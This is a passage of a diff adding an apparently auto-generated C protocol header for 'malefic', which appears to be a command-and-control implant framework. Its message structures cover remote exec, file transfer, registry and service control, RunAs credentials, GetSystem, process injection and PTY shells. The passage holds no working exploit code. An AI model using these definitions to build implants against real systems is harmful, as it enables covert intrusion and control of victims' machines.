_malefic_ExecRequest { + char path[256]; + pb_size_t args_count; + char args[32][256]; + bool output; + bool singleton; + bool realtime; + uint32_t ppid; +} malefic_ExecRequest; + +typedef PB_BYTES_ARRAY_T(4096) malefic_ExecResponse_stdout_t; +typedef PB_BYTES_ARRAY_T(4096) malefic_ExecResponse_stderr_t; +typedef struct _malefic_ExecResponse { + int32_t status_code; + malefic_ExecResponse_stdout_t stdout; + malefic_ExecResponse_stderr_t stderr; + uint32_t pid; + bool end; +} malefic_ExecResponse; + +typedef PB_BYTES_ARRAY_T(4096) malefic_BinaryResponse_data_t; +typedef PB_BYTES_ARRAY_T(4096) malefic_BinaryResponse_message_t; +typedef struct _malefic_BinaryResponse { + malefic_BinaryResponse_data_t data; /* common return, bof BeaconOutput */ + malefic_BinaryResponse_message_t message; /* bof BeaconPrintf */ + int32_t status; + char err[256]; +} malefic_BinaryResponse; + +typedef struct _malefic_Modules { + pb_size_t modules_count; + char modules[64][256]; +} malefic_Modules; + +typedef struct _malefic_Addon { + char name[128]; + char type[64]; + char depend[128]; +} malefic_Addon; + +typedef struct _malefic_Register { + char name[256]; + char proxy[256]; + pb_size_t module_count; + char module[64][256]; + pb_size_t addons_count; + malefic_Addon addons[32]; + bool has_timer; + malefic_Timer timer; + bool has_sysinfo; + malefic_SysInfo sysinfo; + bool has_secure; + malefic_Secure secure; /* Implant's public key, used by server to encrypt data */ +} malefic_Register; + +typedef struct _malefic_Addons { + pb_size_t addons_count; + malefic_Addon addons[32]; +} malefic_Addons; + +typedef PB_BYTES_ARRAY_T(4096) malefic_LoadModule_bin_t; +typedef struct _malefic_LoadModule { + char bundle[256]; + malefic_LoadModule_bin_t bin; +} malefic_LoadModule; + +typedef PB_BYTES_ARRAY_T(4096) malefic_LoadAddon_bin_t; +typedef struct _malefic_LoadAddon { + char name[128]; + char type[64]; + char depend[128]; + malefic_LoadAddon_bin_t bin; +} malefic_LoadAddon; + +typedef PB_BYTES_ARRAY_T(4096) malefic_ExecuteBinary_bin_t; +typedef PB_BYTES_ARRAY_T(4096) malefic_ExecuteBinary_data_t; +typedef struct _malefic_ExecuteBinary { + char name[128]; + malefic_ExecuteBinary_bin_t bin; + pb_callback_t param; + char type[64]; + char process_name[128]; + pb_size_t args_count; + char args[32][256]; + char entry_point[128]; + malefic_ExecuteBinary_data_t data; + bool output; + uint32_t arch; + uint32_t timeout; + bool has_sacrifice; + malefic_SacrificeProcess sacrifice; + char path[256]; + char context[256]; + uint32_t delay; /* millisecond */ +} malefic_ExecuteBinary; + +typedef struct _malefic_ExecuteAddon { + char addon[128]; + bool has_execute_binary; + malefic_ExecuteBinary execute_binary; +} malefic_ExecuteAddon; + +typedef struct _malefic_ExecuteBinary_ParamEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_ExecuteBinary_ParamEntry; + +typedef struct _malefic_ExecuteCommand { + char command[256]; + bool has_sacrifice; + malefic_SacrificeProcess sacrifice; +} malefic_ExecuteCommand; + +typedef PB_BYTES_ARRAY_T(4096) malefic_UploadRequest_data_t; +typedef struct _malefic_UploadRequest { + char name[256]; + char target[256]; + uint32_t priv; + malefic_UploadRequest_data_t data; + bool hidden; + bool override; +} malefic_UploadRequest; + +typedef struct _malefic_DownloadRequest { + char path[256]; + char name[256]; + uint32_t buffer_size; + bool dir; + int32_t cur; +} malefic_DownloadRequest; + +typedef PB_BYTES_ARRAY_T(4096) malefic_DownloadResponse_content_t; +typedef struct _malefic_DownloadResponse { + char checksum[128]; + uint64_t size; + int32_t cur; + malefic_DownloadResponse_content_t content; +} malefic_DownloadResponse; + +typedef PB_BYTES_ARRAY_T(4096) malefic_CurlRequest_body_t; +typedef struct _malefic_CurlRequest { + char url[512]; + int32_t timeout; + char method[16]; + malefic_CurlRequest_body_t body; + pb_callback_t header; + char hostname[256]; +} malefic_CurlRequest; + +typedef struct _malefic_CurlRequest_HeaderEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_CurlRequest_HeaderEntry; + +typedef struct _malefic_ChownRequest { + char path[256]; + char uid[64]; + char gid[64]; + bool recursive; +} malefic_ChownRequest; + +typedef struct _malefic_IfconfigResponse { + pb_size_t net_interfaces_count; + malefic_NetInterface net_interfaces[32]; +} malefic_IfconfigResponse; + +typedef struct _malefic_Registry { + char hive[64]; + char path[256]; + char key[256]; +} malefic_Registry; + +/* wrap for client */ +typedef struct _malefic_RegistryRequest { + char type[64]; + bool has_registry; + malefic_Registry registry; +} malefic_RegistryRequest; + +typedef PB_BYTES_ARRAY_T(4096) malefic_RegistryWriteRequest_byte_value_t; +typedef struct _malefic_RegistryWriteRequest { + char hive[64]; + char path[256]; + char key[256]; + char string_value[256]; + malefic_RegistryWriteRequest_byte_value_t byte_value; + uint32_t dword_value; + uint64_t qword_value; + uint32_t regtype; +} malefic_RegistryWriteRequest; + +typedef struct _malefic_TaskSchedule { + char name[256]; + char path[256]; + char executable_path[256]; + uint32_t trigger_type; + char start_boundary[64]; + char description[256]; + bool enabled; + char last_run_time[64]; + char next_run_time[64]; +} malefic_TaskSchedule; + +typedef struct _malefic_TaskScheduleRequest { + char type[64]; + bool has_taskschd; + malefic_TaskSchedule taskschd; +} malefic_TaskScheduleRequest; + +typedef struct _malefic_TaskSchedulesResponse { + pb_size_t schedules_count; + malefic_TaskSchedule schedules[64]; +} malefic_TaskSchedulesResponse; + +typedef struct _malefic_ServiceConfig { + char name[256]; + char display_name[256]; + char executable_path[256]; + uint32_t start_type; + uint32_t error_control; + char account_name[128]; +} malefic_ServiceConfig; + +/* wrap for client */ +typedef struct _malefic_ServiceRequest { + char type[64]; + bool has_service; + malefic_ServiceConfig service; +} malefic_ServiceRequest; + +typedef struct _malefic_ServiceStatus { + uint32_t current_state; + uint32_t process_id; + uint32_t exit_code; + uint32_t checkpoint; + uint32_t wait_hint; +} malefic_ServiceStatus; + +typedef struct _malefic_Service { + bool has_config; + malefic_ServiceConfig config; + bool has_status; + malefic_ServiceStatus status; +} malefic_Service; + +typedef struct _malefic_ServicesResponse { + pb_size_t services_count; + malefic_Service services[128]; +} malefic_ServicesResponse; + +typedef struct _malefic_WmiQueryRequest { + char namespace[256]; + pb_size_t args_count; + char args[16][256]; +} malefic_WmiQueryRequest; + +typedef struct _malefic_WmiMethodRequest { + char namespace[256]; + char class_name[128]; + char method_name[128]; + pb_callback_t params; +} malefic_WmiMethodRequest; + +typedef struct _malefic_WmiMethodRequest_ParamsEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_WmiMethodRequest_ParamsEntry; + +typedef struct _malefic_RunAsRequest { + char username[128]; /* Username to execute as */ + char domain[128]; /* User domain */ + char password[256]; /* User password */ + char program[256]; /* Program path */ + char args[256]; /* Program arguments (optional) */ + bool use_profile; + bool netonly; /* Use network credentials only (optional, default false) */ + bool use_env; +} malefic_RunAsRequest; + +typedef PB_BYTES_ARRAY_T(4096) malefic_GetSystem_bin_t; +typedef struct _malefic_GetSystem { + malefic_GetSystem_bin_t bin; + uint32_t pid; +} malefic_GetSystem; + +typedef PB_BYTES_ARRAY_T(4096) malefic_Inject_bin_t; +typedef struct _malefic_Inject { + malefic_Inject_bin_t bin; + uint32_t pid; +} malefic_Inject; + +typedef PB_BYTES_ARRAY_T(4096) malefic_Pipe_data_t; +typedef struct _malefic_Pipe { + char name[128]; + char target[128]; + malefic_Pipe_data_t data; +} malefic_Pipe; + +typedef struct _malefic_PipeRequest { + char type[64]; + bool has_pipe; + malefic_Pipe pipe; +} malefic_PipeRequest; + +typedef struct _malefic_Switch { + pb_size_t urls_count; + char urls[16][256]; +} malefic_Switch; + +typedef struct _malefic_TaskCtrl { + uint32_t task_id; + char op[64]; +} malefic_TaskCtrl; + +typedef struct _malefic_TaskInfo { + uint32_t task_id; + uint64_t last; + uint32_t recv_count; + uint32_t send_count; +} malefic_TaskInfo; + +typedef struct _malefic_TaskListResponse { + pb_size_t tasks_count; + malefic_TaskInfo tasks[128]; +} malefic_TaskListResponse; + +typedef struct _malefic_FFmpegRequest { + char action[64]; + char device_name[128]; + char output_format[32]; + char output_path[256]; + char time[32]; +} malefic_FFmpegRequest; + +typedef PB_BYTES_ARRAY_T(4096) malefic_PtyRequest_input_data_t; +/* PTY */ +typedef struct _malefic_PtyRequest { + char type[32]; /* type: "start", "input", "stop" */ + char session_id[64]; /* */ + char shell[128]; /* shell type: "/bin/bash", "cmd.exe", "powershell.exe" */ + uint32_t cols; /* */ + uint32_t rows; /* */ + malefic_PtyRequest_input_data_t input_data; /* */ + char input_text[4096]; /* */ + pb_callback_t params; /* */ +} malefic_PtyRequest; + +typedef struct _malefic_PtyRequest_ParamsEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_PtyRequest_ParamsEntry; + +typedef PB_BYTES_ARRAY_T(4096) malefic_PtyResponse_output_data_t; +typedef struct _malefic_PtyResponse { + char session_id[64]; /* Session ID */ + malefic_PtyResponse_output_data_t output_data; /* Output data (binary) */ + char output_text[4096]; /* Output data (text) */ + char error[256]; /* Error message */ + bool session_active; /* Whether session is still active */ + pb_size_t active_sessions_count; + char active_sessions[32][64]; + pb_callback_t metadata; +} malefic_PtyResponse; + +typedef struct _malefic_PtyResponse_MetadataEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_PtyResponse_MetadataEntry; + +typedef PB_BYTES_ARRAY_T(4096) malefic_CommonBody_bytes_array_t; +typedef struct _malefic_CommonBody { + char name[256]; + pb_size_t u32_array_count; + uint32_t u32_array[32]; + pb_size_t u64_array_count; + uint64_t u64_array[32]; + pb_size_t bool_array_count; + bool bool_array[32]; + pb_size_t string_array_count; + char string_array[32][256]; + pb_size_t bytes_array_count; + malefic_CommonBody_bytes_array_t bytes_array[16]; +} malefic_CommonBody; + + +#ifdef __cplusplus +extern "C" { +#endif + +/* Initializer values for message structs */ +#define malefic_Ping_init_default {0} +#define malefic_Register_init_default {"", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, 0, {malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default}, false, malefic_Timer_init_default, false, malefic_SysInfo_init_default, false, malefic_Secure_init_default} +#define malefic_Secure_init_default {0, "", "", ""} +#define malefic_KeyExchangeRequest_init_default {"", {0, {0}}, 0, ""} +#define malefic_KeyExchangeResponse_init_default {""} +#define malefic_Init_init_default {{0, {0}}} +#define malefic_SysInfo_init_default {"", "", 0, false, malefic_Os_init_default, false, malefic_Process_init_default} +#define malefic_Suicide_init_default {0, 0} +#define malefic_Request_init_default {"", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, {{NULL}, NULL}, {0, {0}}} +#define malefic_Request_ParamsEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_Response_init_default {"", "", {{NULL}, NULL}, 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_Response_KvEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_BypassRequest_init_default {0, 0, 0} +#define malefic_NetInterface_init_default {0, "", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_SockTabEntry_init_default {"", "", "", "", ""} +#define malefic_NetstatResponse_init_default {0, {malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default}} +#define malefic_Block_init_default {0, {0, {0}}, 0} +#define malefic_ACK_init_default {0, 0, 0} +#define malefic_Os_init_default {"", "", "", "", "", "", "", 0, {"", "", "", "", "", "", "", ""}} +#define malefic_Process_init_default {"", 0, 0, "", "", "", "", ""} +#define malefic_Timer_init_default {"", 0} +#define malefic_FileInfo_init_default {"", 0, 0, 0, 0, ""} +#define malefic_SacrificeProcess_init_default {0, 0, 0, 0, ""} +#define malefic_LsResponse_init_default {"", 0, 0, {malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default}} +#define malefic_DriveInfo_init_default {"", "", 0, 0, ""} +#define malefic_EnumDriversResponse_init_default {0, {malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default}} +#define malefic_PsResponse_init_default {0, {malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, 